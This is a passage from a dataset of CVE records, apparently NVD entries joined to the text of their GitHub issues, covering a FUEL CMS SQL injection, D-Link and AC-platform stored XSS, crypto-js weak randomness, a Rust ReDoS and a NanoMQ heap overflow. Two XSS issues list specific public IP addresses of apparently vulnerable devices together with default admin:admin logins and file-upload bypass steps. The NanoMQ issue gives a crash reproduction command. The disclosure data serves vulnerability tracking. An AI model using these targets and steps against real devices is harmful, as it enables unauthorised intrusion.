"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/bcvgh/fuel-cms-sqlinjection/blob/main/README.md"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/604"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/bcvgh/fuel-cms-sqlinjection/blob/main/README.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/daylightstudio/FUEL-CMS/issues/604"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.5.2:*:*:*:*:*:*:*",
"matchCriteriaId": "E3A44312-83D2-4421-9A35-3FD048EA578A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/daylightstudio/FUEL-CMS/issues/604 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"daylightstudio",
"FUEL-CMS"
] | login required.
fuel/modules/fuel/controllers/Blocks.php
line 64 import_view method starts
Line 70 receives the id parameter of the post request and enters the import method

fuel/modules/fuel/libraries/Fuel_blocks.php
Then enter the find_by_key method on line 307

Because the find_by_key method does not exist, enter the __call method of the current object
Enter line 4421 of MY_Model.php, pass parameters to $this->db->where() method

At this time, the external input string is spliced into the SQL statement through the $this->db->where() method, But at this time, the external input will be surrounded by single quotes because of codeigniter's safe processing of the where method, so the injection has not yet been caused..

Until line 4450, the user's external input is stored in the $other_args array at this time, and has not been processed safely

Enter the $this->db->order_by() method, at this time the external input is spliced into the sql statement again, and there is no single quotation mark included

Finally, the $this->db->get() method executes the database command, causing sql injection


sqlmap:

| FUEL CMS 1.5.2 allows SQL Injection via parameter 'id' in fuel/modules/fuel/controllers/Blocks.php | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/604/comments | 2 | 2023-05-12T02:24:19Z | 2023-05-12T15:50:17Z | https://github.com/daylightstudio/FUEL-CMS/issues/604 | 1,706,820,945 | 604 | 5,239 |
CVE-2023-34856 | 2023-06-09T20:15:10.277 | A Cross Site Scripting (XSS) vulnerability in D-Link DI-7500G-CI-19.05.29A allows attackers to execute arbitrary code via uploading a crafted HTML file to the interface /auth_pic.cgi. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/hashshfza/Vulnerability/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/hashshfza/Vulnerability/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:di-7500g-ci_firmware:19.05.29a:*:*:*:*:*:*:*",
"matchCriteriaId": "51B632E9-AD4B-42B5-B7F7-44412B86B055",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:di-7500g-ci:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A585823A-0AA8-45D4-8406-D446D04286B4",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
] | [
"79"
] | 79 | https://github.com/hashshfza/Vulnerability/issues/2 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"hashshfza",
"Vulnerability"
] | 1. Search vulnerable products on internet
Go to [https://hunter.qianxin.com/](https://github.com/prismbreak/vulnerabilities/issues/url), and use this syntax to search potential vulnerable products existing on internet:web.body="<title id=\"login_title\">D-Link路由器管理页</title>"

A list of vulnerable targets are as follows:
http://59.173.74.242:88/
http://183.195.116.54:8888/
http://125.119.243.164:8888/
http://222.160.124.147:8081/
http://58.49.36.134:88/
http://59.173.75.201:88/
http://39.175.53.231:9000/
http://222.160.127.22:8081/
http://221.232.194.41:88/
http://120.196.58.120:88/
http://221.232.195.128:88/
2. Login with default credential
The default credential is admin : admin

Login successful.
3. Upload your payloads
Firstly, click on "认证管理",
Secondly, click on "认证页面管理",
Then, we click to browse the file and need to upload a file with the suffix ". jpg", ". png", or ". gif" ,
Finally, click on upload and we will use BurpSuite to intercept


We need to change the suffix ". png" marked in the figure to ". html" and then send out the request package,

Finally, we can trigger by clicking on this link


It is important that victims can access this url without login in.

| Stored Cross-Site Scripting (XSS) Vulnerability in 友讯电子设备(上海) D-Link Routing Management Page Version: DI-7500G-CI-19.05.29A1 | https://api.github.com/repos/hashshfza/Vulnerability/issues/2/comments | 0 | 2023-06-04T06:50:44Z | 2023-06-04T06:50:44Z | https://github.com/hashshfza/Vulnerability/issues/2 | 1,740,186,471 | 2 | 5,240 |
CVE-2020-36732 | 2023-06-12T02:15:48.347 | The crypto-js package before 3.2.1 for Node.js generates random numbers by concatenating the string "0." with an integer, which makes the output more predictable than necessary. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/brix/crypto-js/compare/3.2.0...3.2.1"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/254"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/256"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/brix/crypto-js/pull/257/commits/e4ac157d8b75b962d6538fc0b996e5d4d5a9466b"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230706-0003/"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://security.snyk.io/vuln/SNYK-JS-CRYPTOJS-548472"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/brix/crypto-js/compare/3.2.0...3.2.1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/254"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/256"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/brix/crypto-js/pull/257/commits/e4ac157d8b75b962d6538fc0b996e5d4d5a9466b"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230706-0003/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://security.snyk.io/vuln/SNYK-JS-CRYPTOJS-548472"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:crypto-js_project:crypto-js:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E2241AD9-5637-4123-AD04-4473C0601434",
"versionEndExcluding": "3.2.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"330"
] | 330 | https://github.com/brix/crypto-js/issues/254 | [
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"brix",
"crypto-js"
] | I'm a member of the Node.js Foundation Ecosystem Security Working Group and we received a report of a vulnerability in this module.
We tried inviting the author by e-mail but received no response so I'm opening this issue and inviting anyone with commit and npm publish rights to collaborate with us on a fix. | Security issue | https://api.github.com/repos/brix/crypto-js/issues/254/comments | 17 | 2020-01-30T07:46:20Z | 2020-02-11T10:13:51Z | https://github.com/brix/crypto-js/issues/254 | 557,320,797 | 254 | 5,241 |
CVE-2020-36732 | 2023-06-12T02:15:48.347 | The crypto-js package before 3.2.1 for Node.js generates random numbers by concatenating the string "0." with an integer, which makes the output more predictable than necessary. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/brix/crypto-js/compare/3.2.0...3.2.1"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/254"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/256"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/brix/crypto-js/pull/257/commits/e4ac157d8b75b962d6538fc0b996e5d4d5a9466b"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230706-0003/"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://security.snyk.io/vuln/SNYK-JS-CRYPTOJS-548472"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/brix/crypto-js/compare/3.2.0...3.2.1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/254"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/brix/crypto-js/issues/256"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/brix/crypto-js/pull/257/commits/e4ac157d8b75b962d6538fc0b996e5d4d5a9466b"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://security.netapp.com/advisory/ntap-20230706-0003/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://security.snyk.io/vuln/SNYK-JS-CRYPTOJS-548472"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:crypto-js_project:crypto-js:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E2241AD9-5637-4123-AD04-4473C0601434",
"versionEndExcluding": "3.2.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"330"
] | 330 | https://github.com/brix/crypto-js/issues/256 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"brix",
"crypto-js"
] | crypto-js npm runkit error.
```
var CryptoJS = require("crypto-js");
// Encrypt
var ciphertext = CryptoJS.AES.encrypt('my message', 'secret key 123');
// Decrypt
var bytes = CryptoJS.AES.decrypt(ciphertext.toString(), 'secret key 123');
var plaintext = bytes.toString(CryptoJS.enc.Utf8);
```
run.
`Error: Native crypto module could not be used to get secure random number.`
| Native crypto module could not be used to get secure random number. | https://api.github.com/repos/brix/crypto-js/issues/256/comments | 46 | 2020-02-11T04:17:34Z | 2025-05-15T17:02:34Z | https://github.com/brix/crypto-js/issues/256 | 562,969,123 | 256 | 5,242 |
CVE-2023-33290 | 2023-06-12T13:15:10.243 | The git-url-parse crate through 0.4.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to normalize_url in lib.rs, a similar issue to CVE-2023-32758 (Python). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tjtelan/git-url-parse-rs/issues/51"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://lib.rs/crates/git-url-parse"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tjtelan/git-url-parse-rs/issues/51"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://lib.rs/crates/git-url-parse"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:git-url-parse_project:git-url-parse:*:*:*:*:*:rust:*:*",
"matchCriteriaId": "BFE5299B-B6FD-4266-A7A0-ADAFA7352F99",
"versionEndExcluding": null,
"versionEndIncluding": "0.4.4",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"1333"
] | 1333 | https://github.com/tjtelan/git-url-parse-rs/issues/51 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"tjtelan",
"git-url-parse-rs"
] | Hey Tj Telan,
Is there a way for You to contact me regarding a security vulnerability I discovered, so I can report it to You privately, or if You can give me your contact.
Thank You | Security vulnerability in the latest version | https://api.github.com/repos/tjtelan/git-url-parse-rs/issues/51/comments | 2 | 2023-05-22T13:06:44Z | 2024-09-06T08:38:48Z | https://github.com/tjtelan/git-url-parse-rs/issues/51 | 1,719,656,766 | 51 | 5,243 |
CVE-2023-33492 | 2023-06-12T13:15:10.300 | EyouCMS 1.6.2 is vulnerable to Cross Site Scripting (XSS). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/42"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/42"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B87F220-D05C-4885-8C0E-E5BD8D8DFB66",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/weng-xianhu/eyoucms/issues/42 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting



| EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting | https://api.github.com/repos/weng-xianhu/eyoucms/issues/42/comments | 0 | 2023-05-03T12:02:15Z | 2024-03-22T06:50:30Z | https://github.com/weng-xianhu/eyoucms/issues/42 | 1,693,938,455 | 42 | 5,244 |
CVE-2023-34855 | 2023-06-12T13:15:11.093 | A Cross Site Scripting (XSS) vulnerability in Youxun Electronic Equipment (Shanghai) Co., Ltd AC Centralized Management Platform v1.02.040 allows attackers to execute arbitrary code via uploading a crafted HTML file to the interface /upfile.cgi. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hashshfza/Vulnerability/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hashshfza/Vulnerability/issues/1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ac_centralized_management_platform_project:ac_centralized_management_platform:1.02.040:*:*:*:*:*:*:*",
"matchCriteriaId": "7D9D37A5-23E2-42B2-91EE-CE3A5B2A50EC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/hashshfza/Vulnerability/issues/1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"hashshfza",
"Vulnerability"
] | 1. Search vulnerable products on internet
Go to [https://hunter.qianxin.com/](https://github.com/prismbreak/vulnerabilities/issues/url), and use this syntax to search potential vulnerable products existing on internet:`web.body="login_title: 'D-Link路由器管理页'"`

Please note that not all assets displayed in the result table are target products. You need to right-click to view the website source code and view the "title" label in the form. If it is the "AC Central Management Platform", it is as follows:

A list of vulnerable targets are as follows:
http://183.214.192.254:800/
http://175.13.32.193:800/
http://218.8.101.103:800/
http://58.211.213.42:800/
http://111.175.59.107:800/
http://36.27.95.28:800/
http://175.166.219.151:800/
http://222.175.246.46:800/
http://112.248.79.147:800/
http://125.120.107.39:800/
2. Login with default credential
The default credential is` admin : admin`

Login successful.
3. Upload your payloads
Firstly, click on "系统配置",
Secondly, click on "AP 系统管理",
Then, we click to browse the file and need to upload a file with the suffix ".trx"
Finally, click on upload and we will use BurpSuite to intercept


We need to change the suffix ". trx" marked in the diagram to ". html", and then proceed with the contract,
After the contract is awarded, there is a file path in the corresponding package for us to access

Finally, we can trigger by accessing this address

It is important that victims can access this url without login in.

| Stored Cross-Site Scripting (XSS) Vulnerability in Youxun Electronic Equipment (Shanghai) Co., Ltd. AC Centralized Management Platform 1.02.040 | https://api.github.com/repos/hashshfza/Vulnerability/issues/1/comments | 0 | 2023-06-04T05:59:43Z | 2023-06-04T05:59:43Z | https://github.com/hashshfza/Vulnerability/issues/1 | 1,740,162,079 | 1 | 5,245 |
CVE-2023-34488 | 2023-06-12T14:15:19.623 | NanoMQ 0.17.5 is vulnerable to heap-buffer-overflow in the conn_handler function of mqtt_parser.c when it processes malformed messages. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1181"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1181"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.5:*:*:*:*:*:*:*",
"matchCriteriaId": "49EF7B82-2B00-4EFB-8DC8-5B07806C106C",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/emqx/nanomq/issues/1181 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
We found a heap-buffer-overflow in `conn_handler` function of `mqtt_parser.c` when it processes malformed messages.
**Expected behavior**
A clear and concise description of what you expected to happen.
**Actual Behavior**
Heap-buffer-overflow
**To Reproduce**
start nanomq with ./nanomq start
Send the packet:nc 127.0.0.1 1883 < ./1181-poc.raw
[1181-poc.raw.zip](https://github.com/emqx/nanomq/files/11268189/1181-poc.raw.zip)
`conn_handler` function of `mqtt_parser.c:602:20`
<img width="635" alt="image" src="https://user-images.githubusercontent.com/131155516/232842198-2f213639-009c-4ad4-813a-6e5af36f5490.png">
Asan Log
> =================================================================
> ==3700126==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000bb3c at pc 0x0000005f287d bp 0x7f8477d97950 sp 0x7f8477d97948
> READ of size 1 at 0x60200000bb3c thread T7 (nng:task)
> #0 0x5f287c in conn_handler /home/user/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:602:20
> #1 0x816b7d in tcptran_pipe_nego_cb /home/user/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:363:13
> #2 0x5b467b in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4
> #3 0x5b7d4c in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3
> #4 0x5c78e0 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2
> #5 0x7f847ddb4608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
> #6 0x7f847db40132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
>
> 0x60200000bb3c is located 0 bytes to the right of 12-byte region [0x60200000bb30,0x60200000bb3c)
> allocated by thread T7 (nng:task) here:
> #0 0x4adf1d in malloc (/home/user/nanomq/build/nanomq/nanomq+0x4adf1d)
> #1 0x81686e in tcptran_pipe_nego_cb /home/user/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:345:18
> #2 0x5b467b in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4
> #3 0x5b7d4c in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3
> #4 0x5c78e0 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2
> #5 0x7f847ddb4608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8
>
> Thread T7 (nng:task) created by T0 here:
> #0 0x498cca in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x498cca)
> #1 0x5c766e in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7
> #2 0x5b74de in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12
> #3 0x5b3c6f in nni_taskq_init /home/user/nanomq/nng/src/core/taskq.c:95:8
> #4 0x57bb04 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:35:13
> #5 0x5c7ef2 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12
> #6 0x61b6bd in nni_proto_mqtt_open /home/user/nanomq/nng/src/sp/protocol.c:37:12
> #7 0x544f4b in broker /home/user/nanomq/nanomq/apps/broker.c:871:25
> #8 0x54ea34 in broker_start /home/user/nanomq/nanomq/apps/broker.c:1602:7
> #9 0x7f847da45082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
>
> SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:602:20 in conn_handler
> Shadow bytes around the buggy address:
> 0x0c047fff9710: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
> 0x0c047fff9720: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
> 0x0c047fff9730: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
> 0x0c047fff9740: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
> 0x0c047fff9750: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
> =>0x0c047fff9760: fa fa fd fd fa fa 00[04]fa fa 00 01 fa fa fa fa
> 0x0c047fff9770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
> 0x0c047fff9780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
> 0x0c047fff9790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
> 0x0c047fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
> 0x0c047fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
> Shadow byte legend (one shadow byte represents 8 application bytes):
> Addressable: 00
> Partially addressable: 01 02 03 04 05 06 07
